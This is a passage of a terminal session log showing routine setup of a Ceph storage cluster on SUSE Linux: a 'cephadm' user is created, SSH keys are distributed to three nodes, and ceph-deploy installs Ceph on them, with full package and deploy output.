geeko@ses-admin:~/Desktop> sudo su - We trust you have received the usual lecture from the local System Administrator. It usually boils down to these three things: #1) Respect the privacy of others. #2) Think before you type. #3) With great power comes great responsibility. root's password: ses-admin:~ # yast yast yast2 ses-admin:~ # yast2 ses-admin:~ # useradd -m cephadm ses-admin:~ # passwd cephadm New password: BAD PASSWORD: it is too short BAD PASSWORD: is too simple Retype new password: passwd: password updated successfully ses-admin:~ # visudo visudo: /etc/sudoers.tmp unchanged ses-admin:~ # visudo ses-admin:~ # su – cephadm su: user – does not exist ses-admin:~ # su - cephadm cephadm@ses-admin:~> ssh-keygen Generating public/private rsa key pair. Enter file in which to save the key (/home/cephadm/.ssh/id_rsa): Created directory '/home/cephadm/.ssh'. Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /home/cephadm/.ssh/id_rsa. Your public key has been saved in /home/cephadm/.ssh/id_rsa.pub. The key fingerprint is: 9e:b2:bd:31:6f:32:10:b6:7e:84:77:33:79:86:a3:e6 [MD5] cephadm@ses-admin The key's randomart image is: +--[ RSA 2048]----+ | | | | | | | o | | . +S o | | +.o.B o | | ..+=o * | | .+*+. | | .+E=. | +--[MD5]----------+ cephadm@ses-admin:~> ssh-copy-id cephadm@ses-node1 The authenticity of host 'ses-node1 (192.168.100.11)' can't be established. ECDSA key fingerprint is 33:4d:5a:db:e7:69:26:2b:90:11:91:ad:ab:3d:49:eb [MD5]. Are you sure you want to continue connecting (yes/no)? yes /usr/bin/ssh-copy-id: INFO: attempting to log in with the new key(s), to filter out any that are already installed /usr/bin/ssh-copy-id: INFO: 1 key(s) remain to be installed -- if you are prompted now it is to install the new keys Password: Number of key(s) added: 1 Now try logging into the machine, with: "ssh 'cephadm@ses-node1'" and check to make sure that only the key(s) you wanted were added. cephadm@ses-admin:~> ssh-copy-id cephadm@ses-node2 The authenticity of host 'ses-node2 (192.168.100.12)' can't be established. ECDSA key fingerprint is 33:4d:5a:db:e7:69:26:2b:90:11:91:ad:ab:3d:49:eb [MD5]. Are you sure you want to continue connecting (yes/no)? yes /usr/bin/ssh-copy-id: INFO: attempting to log in with the new key(s), to filter out any that are already installed /usr/bin/ssh-copy-id: INFO: 1 key(s) remain to be installed -- if you are prompted now it is to install the new keys Password: Number of key(s) added: 1 Now try logging into the machine, with: "ssh 'cephadm@ses-node2'" and check to make sure that only the key(s) you wanted were added. cephadm@ses-admin:~> ssh-copy-id cephadm@ses-node3 The authenticity of host 'ses-node3 (192.168.100.13)' can't be established. ECDSA key fingerprint is 33:4d:5a:db:e7:69:26:2b:90:11:91:ad:ab:3d:49:eb [MD5]. Are you sure you want to continue connecting (yes/no)? yes /usr/bin/ssh-copy-id: INFO: attempting to log in with the new key(s), to filter out any that are already installed /usr/bin/ssh-copy-id: INFO: 1 key(s) remain to be installed -- if you are prompted now it is to install the new keys Password: Number of key(s) added: 1 Now try logging into the machine, with: "ssh 'cephadm@ses-node3'" and check to make sure that only the key(s) you wanted were added. cephadm@ses-admin:~> ssh ses-node3 id uid=1001(cephadm) gid=100(users) groups=100(users) cephadm@ses-admin:~> exit logout ses-admin:~ # zypper in ceph ceph-deploy Loading repository data... Reading installed packages... Resolving package dependencies... The following 42 NEW packages are going to be installed: FastCGI babeltrace ceph ceph-base ceph-common ceph-deploy ceph-mds ceph-mon ceph-osd gperftools libboost_iostreams1_54_0 libboost_program_options1_54_0 libboost_random1_54_0 libcephfs1 libibverbs1 libleveldb1 librados2 libradosstriper1 librbd1 librdmacm1 librgw2 liburcu0 libxio lttng-ust python-Flask python-Jinja2 python-MarkupSafe python-Werkzeug python-apipkg python-argparse python-cephfs python-ecdsa python-execnet python-itsdangerous python-paramiko python-pushy python-pycrypto python-rados python-rbd python-remoto python-requests supportutils-plugin-ses The following package is not supported by its vendor: libxio 42 new packages to install. Overall download size: 48.7 MiB. Already cached: 0 B. After the operation, additional 211.7 MiB will be used. Continue? [y/n/? shows all options] (y): y Retrieving package python-Werkzeug-0.9.6-5.2.noarch (1/42), 483.9 KiB ( 2.2 MiB unpacked) Retrieving package python-apipkg-1.2-1.2.noarch (2/42), 9.2 KiB ( 18.2 KiB unpacked) Retrieving package python-ecdsa-0.13-2.1.noarch (3/42), 77.4 KiB (261.8 KiB unpacked) Retrieving package python-itsdangerous-0.24-2.1.noarch (4/42), 20.2 KiB ( 69.1 KiB unpacked) Retrieving package supportutils-plugin-ses-1.0+git.1463485157.269428c-4.1.noarch (5/42), 13.7 KiB ( 26.0 KiB unpacked) Retrieving package FastCGI-2.4.0-167.1.x86_64 (6/42), 184.8 KiB (587.6 KiB unpacked) Retrieving package libboost_random1_54_0-1.54.0-13.1.x86_64 (7/42), 20.0 KiB ( 10.3 KiB unpacked) Retrieving package libleveldb1-1.18-1.3.x86_64 (8/42), 132.8 KiB (361.3 KiB unpacked) Retrieving package python-MarkupSafe-0.18-7.1.x86_64 (9/42), 24.6 KiB ( 66.0 KiB unpacked) Retrieving package python-pycrypto-2.6.1-4.1.x86_64 (10/42), 371.5 KiB ( 2.0 MiB unpacked) Retrieving package python-execnet-1.4.1-1.3.noarch (11/42), 73.7 KiB (249.5 KiB unpacked) Retrieving package python-Jinja2-2.7.3-17.1.noarch (12/42), 278.5 KiB ( 1.7 MiB unpacked) Retrieving package python-paramiko-1.15.2-1.1.noarch (13/42), 860.0 KiB ( 5.1 MiB unpacked) Retrieving package python-remoto-0.0.27-1.1.noarch (14/42), 80.6 KiB (298.2 KiB unpacked) Retrieving package python-Flask-0.10.1-2.1.noarch (15/42), 178.0 KiB (827.7 KiB unpacked) Retrieving package python-pushy-0.5.3-1.5.noarch (16/42), 58.3 KiB (238.5 KiB unpacked) Retrieving package python-argparse-1.2.1-15.8.noarch (17/42), 248.6 KiB (490.1 KiB unpacked) Retrieving package python-requests-2.3.0-6.5.2.noarch (18/42), 334.6 KiB ( 1.7 MiB unpacked) Retrieving package babeltrace-1.2.4-3.2.x86_64 (19/42), 159.0 KiB (463.9 KiB unpacked) Retrieving package gperftools-2.2-2.2.x86_64 (20/42), 554.3 KiB ( 2.2 MiB unpacked) Retrieving package libboost_iostreams1_54_0-1.54.0-13.1.x86_64 (21/42), 39.8 KiB (103.1 KiB unpacked) Retrieving package libboost_program_options1_54_0-1.54.0-13.1.x86_64 (22/42), 125.5 KiB (456.7 KiB unpacked) Retrieving package libibverbs1-1.1.7-12.2.x86_64 (23/42), 34.1 KiB ( 71.4 KiB unpacked) Retrieving package liburcu0-0.8.8-1.2.x86_64 (24/42), 49.4 KiB (182.6 KiB unpacked) Retrieving package librdmacm1-1.0.18.1-1.14.x86_64 (25/42), 53.4 KiB (129.1 KiB unpacked) Retrieving package lttng-ust-2.7.0-1.2.x86_64 (26/42), 171.4 KiB (754.7 KiB unpacked) Retrieving package ceph-deploy-1.5.32+git.1464082518.5aab689-1.1.noarch (27/42), 174.7 KiB (740.3 KiB unpacked) Retrieving package libxio-1.6+git.1461071064.e0ed264-2.1.x86_64 (28/42), 242.5 KiB (885.9 KiB unpacked) Retrieving package librados2-10.2.1+git.1464009581.b8ee9e4-1.1.x86_64 (29/42), 1.7 MiB ( 6.3 MiB unpacked) Retrieving package libcephfs1-10.2.1+git.1464009581.b8ee9e4-1.1.x86_64 (30/42), 1.8 MiB ( 6.0 MiB unpacked) Retrieving package python-rados-10.2.1+git.1464009581.b8ee9e4-1.1.x86_64 (31/42), 209.0 KiB (493.4 KiB unpacked) Retrieving package librgw2-10.2.1+git.1464009581.b8ee9e4-1.1.x86_64 (32/42), 2.7 MiB ( 10.3 MiB unpacked) Retrieving package librbd1-10.2.1+git.1464009581.b8ee9e4-1.1.x86_64 (33/42), 2.1 MiB ( 7.5 MiB unpacked) Retrieving package libradosstriper1-10.2.1+git.1464009581.b8ee9e4-1.1.x86_64 (34/42), 1.8 MiB ( 6.9 MiB unpacked) Retrieving package python-cephfs-10.2.1+git.1464009581.b8ee9e4-1.1.x86_64 (35/42), 138.1 KiB (227.4 KiB unpacked) Retrieving package python-rbd-10.2.1+git.1464009581.b8ee9e4-1.1.x86_64 (36/42), 133.1 KiB (184.9 KiB unpacked) Retrieving package ceph-common-10.2.1+git.1464009581.b8ee9e4-1.1.x86_64 (37/42), 14.9 MiB ( 67.1 MiB unpacked) Retrieving package ceph-base-10.2.1+git.1464009581.b8ee9e4-1.1.x86_64 (38/42), 3.9 MiB ( 33.1 MiB unpacked) Retrieving package ceph-osd-10.2.1+git.1464009581.b8ee9e4-1.1.x86_64 (39/42), 9.0 MiB ( 33.2 MiB unpacked) Retrieving package ceph-mon-10.2.1+git.1464009581.b8ee9e4-1.1.x86_64 (40/42), 2.7 MiB ( 9.3 MiB unpacked) Retrieving package ceph-mds-10.2.1+git.1464009581.b8ee9e4-1.1.x86_64 (41/42), 2.7 MiB ( 9.3 MiB unpacked) Retrieving package ceph-10.2.1+git.1464009581.b8ee9e4-1.1.x86_64 (42/42), 79.1 KiB ( 0 B unpacked) Checking for file conflicts: .............................................................................[done] ( 1/42) Installing: python-Werkzeug-0.9.6-5.2 ............................................................[done] ( 2/42) Installing: python-apipkg-1.2-1.2 ................................................................[done] ( 3/42) Installing: python-ecdsa-0.13-2.1 ................................................................[done] ( 4/42) Installing: python-itsdangerous-0.24-2.1 .........................................................[done] ( 5/42) Installing: supportutils-plugin-ses-1.0+git.1463485157.269428c-4.1 ...............................[done] ( 6/42) Installing: FastCGI-2.4.0-167.1 ..................................................................[done] ( 7/42) Installing: libboost_random1_54_0-1.54.0-13.1 ....................................................[done] ( 8/42) Installing: libleveldb1-1.18-1.3 .................................................................[done] ( 9/42) Installing: python-MarkupSafe-0.18-7.1 ...........................................................[done] (10/42) Installing: python-pycrypto-2.6.1-4.1 ............................................................[done] (11/42) Installing: python-execnet-1.4.1-1.3 .............................................................[done] (12/42) Installing: python-Jinja2-2.7.3-17.1 .............................................................[done] (13/42) Installing: python-paramiko-1.15.2-1.1 ...........................................................[done] (14/42) Installing: python-remoto-0.0.27-1.1 .............................................................[done] (15/42) Installing: python-Flask-0.10.1-2.1 ..............................................................[done] (16/42) Installing: python-pushy-0.5.3-1.5 ...............................................................[done] (17/42) Installing: python-argparse-1.2.1-15.8 ...........................................................[done] (18/42) Installing: python-requests-2.3.0-6.5.2 ..........................................................[done] (19/42) Installing: babeltrace-1.2.4-3.2 .................................................................[done] (20/42) Installing: gperftools-2.2-2.2 ...................................................................[done] (21/42) Installing: libboost_iostreams1_54_0-1.54.0-13.1 .................................................[done] (22/42) Installing: libboost_program_options1_54_0-1.54.0-13.1 ...........................................[done] (23/42) Installing: libibverbs1-1.1.7-12.2 ...............................................................[done] (24/42) Installing: liburcu0-0.8.8-1.2 ...................................................................[done] (25/42) Installing: librdmacm1-1.0.18.1-1.14 .............................................................[done] (26/42) Installing: lttng-ust-2.7.0-1.2 ..................................................................[done] (27/42) Installing: ceph-deploy-1.5.32+git.1464082518.5aab689-1.1 ........................................[done] (28/42) Installing: libxio-1.6+git.1461071064.e0ed264-2.1 ................................................[done] (29/42) Installing: librados2-10.2.1+git.1464009581.b8ee9e4-1.1 ..........................................[done] (30/42) Installing: libcephfs1-10.2.1+git.1464009581.b8ee9e4-1.1 .........................................[done] (31/42) Installing: python-rados-10.2.1+git.1464009581.b8ee9e4-1.1 .......................................[done] (32/42) Installing: librgw2-10.2.1+git.1464009581.b8ee9e4-1.1 ............................................[done] (33/42) Installing: librbd1-10.2.1+git.1464009581.b8ee9e4-1.1 ............................................[done] (34/42) Installing: libradosstriper1-10.2.1+git.1464009581.b8ee9e4-1.1 ...................................[done] (35/42) Installing: python-cephfs-10.2.1+git.1464009581.b8ee9e4-1.1 ......................................[done] (36/42) Installing: python-rbd-10.2.1+git.1464009581.b8ee9e4-1.1 .........................................[done] (37/42) Installing: ceph-common-10.2.1+git.1464009581.b8ee9e4-1.1 ........................................[done] (38/42) Installing: ceph-base-10.2.1+git.1464009581.b8ee9e4-1.1 ..........................................[done] Additional rpm output: Updating /etc/sysconfig/ceph... (39/42) Installing: ceph-osd-10.2.1+git.1464009581.b8ee9e4-1.1 ...........................................[done] (40/42) Installing: ceph-mon-10.2.1+git.1464009581.b8ee9e4-1.1 ...........................................[done] (41/42) Installing: ceph-mds-10.2.1+git.1464009581.b8ee9e4-1.1 ...........................................[done] (42/42) Installing: ceph-10.2.1+git.1464009581.b8ee9e4-1.1 ...............................................[done] ses-admin:~ # su – cephadm su: user – does not exist ses-admin:~ # su - cephadm cephadm@ses-admin:~> ls bin public_html cephadm@ses-admin:~> ceph-deploy install ses-node1 ses-node2 ses-node3 [ceph_deploy.conf][DEBUG ] found configuration file at: /home/cephadm/.cephdeploy.conf [ceph_deploy.cli][INFO ] Invoked (1.5.32): /usr/bin/ceph-deploy install ses-node1 ses-node2 ses-node3 [ceph_deploy.cli][INFO ] ceph-deploy options: [ceph_deploy.cli][INFO ] verbose : False [ceph_deploy.cli][INFO ] testing : None [ceph_deploy.cli][INFO ] cd_conf : <ceph_deploy.conf.cephdeploy.Conf instance at 0x7f12cbf6cef0> [ceph_deploy.cli][INFO ] cluster : ceph [ceph_deploy.cli][INFO ] dev_commit : None [ceph_deploy.cli][INFO ] install_mds : False [ceph_deploy.cli][INFO ] stable : None [ceph_deploy.cli][INFO ] default_release : False [ceph_deploy.cli][INFO ] username : None [ceph_deploy.cli][INFO ] adjust_repos : True [ceph_deploy.cli][INFO ] func : <function install at 0x7f12cc1b0668> [ceph_deploy.cli][INFO ] install_all : False [ceph_deploy.cli][INFO ] repo : False [ceph_deploy.cli][INFO ] host : ['ses-node1', 'ses-node2', 'ses-node3'] [ceph_deploy.cli][INFO ] install_rgw : False [ceph_deploy.cli][INFO ] install_tests : False [ceph_deploy.cli][INFO ] repo_url : None [ceph_deploy.cli][INFO ] ceph_conf : None [ceph_deploy.cli][INFO ] install_osd : False [ceph_deploy.cli][INFO ] version_kind : stable [ceph_deploy.cli][INFO ] install_common : False [ceph_deploy.cli][INFO ] overwrite_conf : False [ceph_deploy.cli][INFO ] quiet : False [ceph_deploy.cli][INFO ] dev : master [ceph_deploy.cli][INFO ] local_mirror : None [ceph_deploy.cli][INFO ] release : None [ceph_deploy.cli][INFO ] install_mon : False [ceph_deploy.cli][INFO ] gpg_url : None [ceph_deploy.install][DEBUG ] Installing stable version infernalis on cluster ceph hosts ses-node1 ses-node2 ses-node3 [ceph_deploy.install][DEBUG ] Detecting platform for host ses-node1 ... [ses-node1][DEBUG ] connection detected need for sudo [ses-node1][DEBUG ] connected to host: ses-node1 [ses-node1][DEBUG ] detect platform information from remote host [ses-node1][DEBUG ] detect machine type [ceph_deploy.install][INFO ] Distro info: SUSE Linux Enterprise Server 12 x86_64 [ses-node1][INFO ] installing Ceph on ses-node1 [ses-node1][INFO ] Running command: sudo zypper --non-interactive --quiet refresh [ses-node1][INFO ] Running command: sudo zypper --non-interactive --quiet install ceph ceph-radosgw [ses-node1][DEBUG ] [ses-node1][DEBUG ] The following 35 NEW packages are going to be installed: [ses-node1][DEBUG ] babeltrace ceph ceph-base ceph-common ceph-mds ceph-mon ceph-osd ceph-radosgw FastCGI gperftools libboost_iostreams1_54_0 libboost_program_options1_54_0 libboost_random1_54_0 libcephfs1 libibverbs1 libleveldb1 librados2 libradosstriper1 librbd1 librdmacm1 librgw2 liburcu0 libxio lttng-ust python-cephfs python-Flask python-itsdangerous python-Jinja2 python-MarkupSafe python-rados python-rbd python-requests python-setuptools python-Werkzeug supportutils-plugin-ses [ses-node1][DEBUG ] [ses-node1][DEBUG ] The following package is not supported by its vendor: [ses-node1][DEBUG ] libxio [ses-node1][DEBUG ] [ses-node1][DEBUG ] 35 new packages to install. [ses-node1][DEBUG ] Overall download size: 47.3 MiB. Already cached: 0 B. After the operation, additional 204.1 MiB will be used. [ses-node1][DEBUG ] Continue? [y/n/? shows all options] (y): y [ses-node1][INFO ] Running command: sudo ceph --version [ses-node1][DEBUG ] ceph version 10.2.1-112-gb8ee9e4 (b8ee9e4007f0443ef50deb1a691c3ea8bd0a11fe) [ceph_deploy.install][DEBUG ] Detecting platform for host ses-node2 ... [ses-node2][DEBUG ] connection detected need for sudo [ses-node2][DEBUG ] connected to host: ses-node2 [ses-node2][DEBUG ] detect platform information from remote host [ses-node2][DEBUG ] detect machine type [ceph_deploy.install][INFO ] Distro info: SUSE Linux Enterprise Server 12 x86_64 [ses-node2][INFO ] installing Ceph on ses-node2 [ses-node2][INFO ] Running command: sudo zypper --non-interactive --quiet refresh [ses-node2][INFO ] Running command: sudo zypper --non-interactive --quiet install ceph ceph-radosgw [ses-node2][DEBUG ] [ses-node2][DEBUG ] The following 35 NEW packages are going to be installed: [ses-node2][DEBUG ] babeltrace ceph ceph-base ceph-common ceph-mds ceph-mon ceph-osd ceph-radosgw FastCGI gperftools libboost_iostreams1_54_0 libboost_program_options1_54_0 libboost_random1_54_0 libcephfs1 libibverbs1 libleveldb1 librados2 libradosstriper1 librbd1 librdmacm1 librgw2 liburcu0 libxio lttng-ust python-cephfs python-Flask python-itsdangerous python-Jinja2 python-MarkupSafe python-rados python-rbd python-requests python-setuptools python-Werkzeug supportutils-plugin-ses [ses-node2][DEBUG ] [ses-node2][DEBUG ] The following package is not supported by its vendor: [ses-node2][DEBUG ] libxio [ses-node2][DEBUG ] [ses-node2][DEBUG ] 35 new packages to install. [ses-node2][DEBUG ] Overall download size: 47.3 MiB. Already cached: 0 B. After the operation, additional 204.1 MiB will be used. [ses-node2][DEBUG ] Continue? [y/n/? shows all options] (y): y [ses-node2][INFO ] Running command: sudo ceph --version [ses-node2][DEBUG ] ceph version 10.2.1-112-gb8ee9e4 (b8ee9e4007f0443ef50deb1a691c3ea8bd0a11fe) [ceph_deploy.install][DEBUG ] Detecting platform for host ses-node3 ... [ses-node3][DEBUG ] connection detected need for sudo [ses-node3][DEBUG ] connected to host: ses-node3 [ses-node3][DEBUG ] detect platform information from remote host [ses-node3][DEBUG ] detect machine type [ceph_deploy.install][INFO ] Distro info: SUSE Linux Enterprise Server 12 x86_64 [ses-node3][INFO ] installing Ceph on ses-node3 [ses-node3][INFO ] Running command: sudo zypper --non-interactive --quiet refresh [ses-node3][INFO ] Running command: sudo zypper --non-interactive --quiet install ceph ceph-radosgw [ses-node3][DEBUG ] [ses-node3][DEBUG ] The following 35 NEW packages are going to be installed: [ses-node3][DEBUG ] babeltrace ceph ceph-base ceph-common ceph-mds ceph-mon ceph-osd ceph-radosgw FastCGI gperftools libboost_iostreams1_54_0 libboost_program_options1_54_0 libboost_random1_54_0 libcephfs1 libibverbs1 libleveldb1 librados2 libradosstriper1 librbd1 librdmacm1 librgw2 liburcu0 libxio lttng-ust python-cephfs python-Flask python-itsdangerous python-Jinja2 python-MarkupSafe python-rados python-rbd python-requests python-setuptools python-Werkzeug supportutils-plugin-ses [ses-node3][DEBUG ] [ses-node3][DEBUG ] The following package is not supported by its vendor: [ses-node3][DEBUG ] libxio [ses-node3][DEBUG ] [ses-node3][DEBUG ] 35 new packages to install. [ses-node3][DEBUG ] Overall download size: 47.3 MiB. Already cached: 0 B. After the operation, additional 204.1 MiB will be used. [ses-node3][DEBUG ] Continue? [y/n/? shows all options] (y): y [ses-node3][INFO ] Running command: sudo ceph --version [ses-node3][DEBUG ] ceph version 10.2.1-112-gb8ee9e4 (b8ee9e4007f0443ef50deb1a691c3ea8bd0a11fe) cephadm@ses-admin:~> ls bin ceph-deploy-ceph.log public_html cephadm@ses-admin:~> cat ceph-deploy-ceph.log [2016-11-07 11:37:32,854][ceph_deploy.conf][DEBUG ] found configuration file at: /home/cephadm/.cephdeploy.conf [2016-11-07 11:37:32,854][ceph_deploy.cli][INFO ] Invoked (1.5.32): /usr/bin/ceph-deploy install ses-node1 ses-node2 ses-node3 [2016-11-07 11:37:32,854][ceph_deploy.cli][INFO ] ceph-deploy options: [2016-11-07 11:37:32,854][ceph_deploy.cli][INFO ] verbose : False [2016-11-07 11:37:32,854][ceph_deploy.cli][INFO ] testing : None [2016-11-07 11:37:32,855][ceph_deploy.cli][INFO ] cd_conf : <ceph_deploy.conf.cephdeploy.Conf instance at 0x7f12cbf6cef0> [2016-11-07 11:37:32,855][ceph_deploy.cli][INFO ] cluster : ceph [2016-11-07 11:37:32,855][ceph_deploy.cli][INFO ] dev_commit : None [2016-11-07 11:37:32,855][ceph_deploy.cli][INFO ] install_mds : False [2016-11-07 11:37:32,855][ceph_deploy.cli][INFO ] stable : None [2016-11-07 11:37:32,855][ceph_deploy.cli][INFO ] default_release : False [2016-11-07 11:37:32,855][ceph_deploy.cli][INFO ] username : None [2016-11-07 11:37:32,855][ceph_deploy.cli][INFO ] adjust_repos : True [2016-11-07 11:37:32,855][ceph_deploy.cli][INFO ] func : <function install at 0x7f12cc1b0668> [2016-11-07 11:37:32,855][ceph_deploy.cli][INFO ] install_all : False [2016-11-07 11:37:32,855][ceph_deploy.cli][INFO ] repo : False [2016-11-07 11:37:32,855][ceph_deploy.cli][INFO ] host : ['ses-node1', 'ses-node2', 'ses-node3'] [2016-11-07 11:37:32,855][ceph_deploy.cli][INFO ] install_rgw : False [2016-11-07 11:37:32,855][ceph_deploy.cli][INFO ] install_tests : False [2016-11-07 11:37:32,855][ceph_deploy.cli][INFO ] repo_url : None [2016-11-07 11:37:32,855][ceph_deploy.cli][INFO ] ceph_conf : None [2016-11-07 11:37:32,855][ceph_deploy.cli][INFO ] install_osd : False [2016-11-07 11:37:32,855][ceph_deploy.cli][INFO ] version_kind : stable [2016-11-07 11:37:32,856][ceph_deploy.cli][INFO ] install_common : False [2016-11-07 11:37:32,856][ceph_deploy.cli][INFO ] overwrite_conf : False [2016-11-07 11:37:32,856][ceph_deploy.cli][INFO ] quiet : False [2016-11-07 11:37:32,856][ceph_deploy.cli][INFO ] dev : master [2016-11-07 11:37:32,856][ceph_deploy.cli][INFO ] local_mirror : None [2016-11-07 11:37:32,856][ceph_deploy.cli][INFO ] release : None [2016-11-07 11:37:32,856][ceph_deploy.cli][INFO ] install_mon : False [2016-11-07 11:37:32,856][ceph_deploy.cli][INFO ] gpg_url : None [2016-11-07 11:37:32,856][ceph_deploy.install][DEBUG ] Installing stable version infernalis on cluster ceph hosts ses-node1 ses-node2 ses-node3 [2016-11-07 11:37:32,856][ceph_deploy.install][DEBUG ] Detecting platform for host ses-node1 ... [2016-11-07 11:37:33,075][ses-node1][DEBUG ] connection detected need for sudo [2016-11-07 11:37:33,221][ses-node1][DEBUG ] connected to host: ses-node1 [2016-11-07 11:37:33,221][ses-node1][DEBUG ] detect platform information from remote host [2016-11-07 11:37:33,256][ses-node1][DEBUG ] detect machine type [2016-11-07 11:37:33,260][ceph_deploy.install][INFO ] Distro info: SUSE Linux Enterprise Server 12 x86_64 [2016-11-07 11:37:33,260][ses-node1][INFO ] installing Ceph on ses-node1 [2016-11-07 11:37:33,263][ses-node1][INFO ] Running command: sudo zypper --non-interactive --quiet refresh [2016-11-07 11:37:33,491][ses-node1][INFO ] Running command: sudo zypper --non-interactive --quiet install ceph ceph-radosgw [2016-11-07 11:37:33,758][ses-node1][DEBUG ] [2016-11-07 11:37:33,758][ses-node1][DEBUG ] The following 35 NEW packages are going to be installed: [2016-11-07 11:37:33,758][ses-node1][DEBUG ] babeltrace ceph ceph-base ceph-common ceph-mds ceph-mon ceph-osd ceph-radosgw FastCGI gperftools libboost_iostreams1_54_0 libboost_program_options1_54_0 libboost_random1_54_0 libcephfs1 libibverbs1 libleveldb1 librados2 libradosstriper1 librbd1 librdmacm1 librgw2 liburcu0 libxio lttng-ust python-cephfs python-Flask python-itsdangerous python-Jinja2 python-MarkupSafe python-rados python-rbd python-requests python-setuptools python-Werkzeug supportutils-plugin-ses [2016-11-07 11:37:33,758][ses-node1][DEBUG ] [2016-11-07 11:37:33,758][ses-node1][DEBUG ] The following package is not supported by its vendor: [2016-11-07 11:37:33,758][ses-node1][DEBUG ] libxio [2016-11-07 11:37:33,758][ses-node1][DEBUG ] [2016-11-07 11:37:33,759][ses-node1][DEBUG ] 35 new packages to install. [2016-11-07 11:37:33,759][ses-node1][DEBUG ] Overall download size: 47.3 MiB. Already cached: 0 B. After the operation, additional 204.1 MiB will be used. [2016-11-07 11:37:33,759][ses-node1][DEBUG ] Continue? [y/n/? shows all options] (y): y [2016-11-07 11:37:44,565][ses-node1][INFO ] Running command: sudo ceph --version [2016-11-07 11:37:44,683][ses-node1][DEBUG ] ceph version 10.2.1-112-gb8ee9e4 (b8ee9e4007f0443ef50deb1a691c3ea8bd0a11fe) [2016-11-07 11:37:44,683][ceph_deploy.install][DEBUG ] Detecting platform for host ses-node2 ... [2016-11-07 11:37:44,876][ses-node2][DEBUG ] connection detected need for sudo [2016-11-07 11:37:45,016][ses-node2][DEBUG ] connected to host: ses-node2 [2016-11-07 11:37:45,017][ses-node2][DEBUG ] detect platform information from remote host [2016-11-07 11:37:45,055][ses-node2][DEBUG ] detect machine type [2016-11-07 11:37:45,060][ceph_deploy.install][INFO ] Distro info: SUSE Linux Enterprise Server 12 x86_64 [2016-11-07 11:37:45,060][ses-node2][INFO ] installing Ceph on ses-node2 [2016-11-07 11:37:45,062][ses-node2][INFO ] Running command: sudo zypper --non-interactive --quiet refresh [2016-11-07 11:37:45,335][ses-node2][INFO ] Running command: sudo zypper --non-interactive --quiet install ceph ceph-radosgw [2016-11-07 11:37:45,602][ses-node2][DEBUG ] [2016-11-07 11:37:45,602][ses-node2][DEBUG ] The following 35 NEW packages are going to be installed: [2016-11-07 11:37:45,602][ses-node2][DEBUG ] babeltrace ceph ceph-base ceph-common ceph-mds ceph-mon ceph-osd ceph-radosgw FastCGI gperftools libboost_iostreams1_54_0 libboost_program_options1_54_0 libboost_random1_54_0 libcephfs1 libibverbs1 libleveldb1 librados2 libradosstriper1 librbd1 librdmacm1 librgw2 liburcu0 libxio lttng-ust python-cephfs python-Flask python-itsdangerous python-Jinja2 python-MarkupSafe python-rados python-rbd python-requests python-setuptools python-Werkzeug supportutils-plugin-ses [2016-11-07 11:37:45,602][ses-node2][DEBUG ] [2016-11-07 11:37:45,603][ses-node2][DEBUG ] The following package is not supported by its vendor: [2016-11-07 11:37:45,603][ses-node2][DEBUG ] libxio [2016-11-07 11:37:45,603][ses-node2][DEBUG ] [2016-11-07 11:37:45,603][ses-node2][DEBUG ] 35 new packages to install. [2016-11-07 11:37:45,603][ses-node2][DEBUG ] Overall download size: 47.3 MiB. Already cached: 0 B. After the operation, additional 204.1 MiB will be used. [2016-11-07 11:37:45,603][ses-node2][DEBUG ] Continue? [y/n/? shows all options] (y): y [2016-11-07 11:37:56,699][ses-node2][INFO ] Running command: sudo ceph --version [2016-11-07 11:37:56,819][ses-node2][DEBUG ] ceph version 10.2.1-112-gb8ee9e4 (b8ee9e4007f0443ef50deb1a691c3ea8bd0a11fe) [2016-11-07 11:37:56,820][ceph_deploy.install][DEBUG ] Detecting platform for host ses-node3 ... [2016-11-07 11:37:57,028][ses-node3][DEBUG ] connection detected need for sudo [2016-11-07 11:37:57,173][ses-node3][DEBUG ] connected to host: ses-node3 [2016-11-07 11:37:57,173][ses-node3][DEBUG ] detect platform information from remote host [2016-11-07 11:37:57,210][ses-node3][DEBUG ] detect machine type [2016-11-07 11:37:57,215][ceph_deploy.install][INFO ] Distro info: SUSE Linux Enterprise Server 12 x86_64 [2016-11-07 11:37:57,216][ses-node3][INFO ] installing Ceph on ses-node3 [2016-11-07 11:37:57,218][ses-node3][INFO ] Running command: sudo zypper --non-interactive --quiet refresh [2016-11-07 11:37:57,494][ses-node3][INFO ] Running command: sudo zypper --non-interactive --quiet install ceph ceph-radosgw [2016-11-07 11:37:57,762][ses-node3][DEBUG ] [2016-11-07 11:37:57,762][ses-node3][DEBUG ] The following 35 NEW packages are going to be installed: [2016-11-07 11:37:57,762][ses-node3][DEBUG ] babeltrace ceph ceph-base ceph-common ceph-mds ceph-mon ceph-osd ceph-radosgw FastCGI gperftools libboost_iostreams1_54_0 libboost_program_options1_54_0 libboost_random1_54_0 libcephfs1 libibverbs1 libleveldb1 librados2 libradosstriper1 librbd1 librdmacm1 librgw2 liburcu0 libxio lttng-ust python-cephfs python-Flask python-itsdangerous python-Jinja2 python-MarkupSafe python-rados python-rbd python-requests python-setuptools python-Werkzeug supportutils-plugin-ses [2016-11-07 11:37:57,762][ses-node3][DEBUG ] [2016-11-07 11:37:57,762][ses-node3][DEBUG ] The following package is not supported by its vendor: [2016-11-07 11:37:57,762][ses-node3][DEBUG ] libxio [2016-11-07 11:37:57,762][ses-node3][DEBUG ] [2016-11-07 11:37:57,762][ses-node3][DEBUG ] 35 new packages to install. [2016-11-07 11:37:57,762][ses-node3][DEBUG ] Overall download size: 47.3 MiB. Already cached: 0 B. After the operation, additional 204.1 MiB will be used. [2016-11-07 11:37:57,762][ses-node3][DEBUG ] Continue? [y/n/? shows all options] (y): y [2016-11-07 11:38:08,867][ses-node3][INFO ] Running command: sudo ceph --version [2016-11-07 11:38:08,987][ses-node3][DEBUG ] ceph version 10.2.1-112-gb8ee9e4 (b8ee9e4007f0443ef50deb1a691c3ea8bd0a11fe) cephadm@ses-admin:~> ceph -v ceph version 10.2.1-112-gb8ee9e4 (b8ee9e4007f0443ef50deb1a691c3ea8bd0a11fe) cephadm@ses-admin:~> ceph-deploy new ses-node1 [ceph_deploy.conf][DEBUG ] found configuration file at: /home/cephadm/.cephdeploy.conf [ceph_deploy.cli][INFO ] Invoked (1.5.32): /usr/bin/ceph-deploy new ses-node1 [ceph_deploy.cli][INFO ] ceph-deploy options: [ceph_deploy.cli][INFO ] username : None [ceph_deploy.cli][INFO ] verbose : False [ceph_deploy.cli][INFO ] overwrite_conf : False [ceph_deploy.cli][INFO ] quiet : False [ceph_deploy.cli][INFO ] cd_conf : 